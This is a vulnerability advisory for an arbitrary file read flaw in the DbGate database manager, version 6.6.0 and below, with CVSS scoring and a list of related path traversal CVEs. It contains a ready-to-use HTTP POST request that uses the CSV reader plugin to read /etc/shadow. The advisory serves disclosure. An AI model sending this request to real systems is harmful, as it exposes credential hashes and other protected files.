CVE-2025-50185
DbGate is cross-platform database manager. In versions 6.6.0 and below, DbGate allows unauthorized file access due to insufficient validation of file paths and types. A user with application-level access can retrieve data from arbitrary files on the system, regardless of their location or file type. The plugin fails to enforce proper checks on content type and file extension before reading a file. As a result, even sensitive files accessible only to the root user can be read through the application interface. There is currently no fix for this issue. ``` POST /runners/load-reader HTTP/1.1 Host: <REPLACE ME> User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:138.0) Gecko/20100101 Firefox/138.0 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Referer: <REPLACE ME> Content-Type: application/json Authorization: Bearer <REPLACE ME> Content-Length: 127 Origin: http://192.168.124.119:3000 Connection: keep-alive Cookie: <REPLACE ME> Priority: u=0 Cache-Control: max-age=0 {"functionName":"reader@dbgate-plugin-csv","props":{"fileName":"/etc\/shadow","limitRows":100}} ``` The request payload:  Lines of the file being returned: 
Scoring
- Severity
- HIGH
- CVSS base score
- 7
- CVSS vector
- CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N/E:P
- EPSS probability
- 0.41%
- CWE
- CWE-29
- Published
- 2025-07-26
- Last modified
- 2026-03-12
Affected products
- dbgate dbgate
Weakness type
Related vulnerabilities
- CVE-2026-66152 — A Path traversal vulnerability in OPSWAT tarball in the SonicWall NetExtender Linux client allows...
- CVE-2026-10732 — All versions of the package decompress are vulnerable to Arbitrary File Write via Archive...
- CVE-2026-24217 — NVIDIA BioNeMo Core for Linux contains a vulnerability where a user could cause a path traversal by...
- CVE-2026-5627 — Path Traversal in mintplex-labs/anything-llm
- CVE-2025-15036 — Path Traversal Vulnerability in mlflow/mlflow
- CVE-2026-30828 — Wallos: SSRF via url parameter leading to File Traversal
- CVE-2025-66608 — A vulnerability has been found in FAST/TOOLS provided by Yokogawa Electric Corporation....
- CVE-2024-2356 — Remote Code Execution due to LFI in '/reinstall_extension' in parisneo/lollms-webui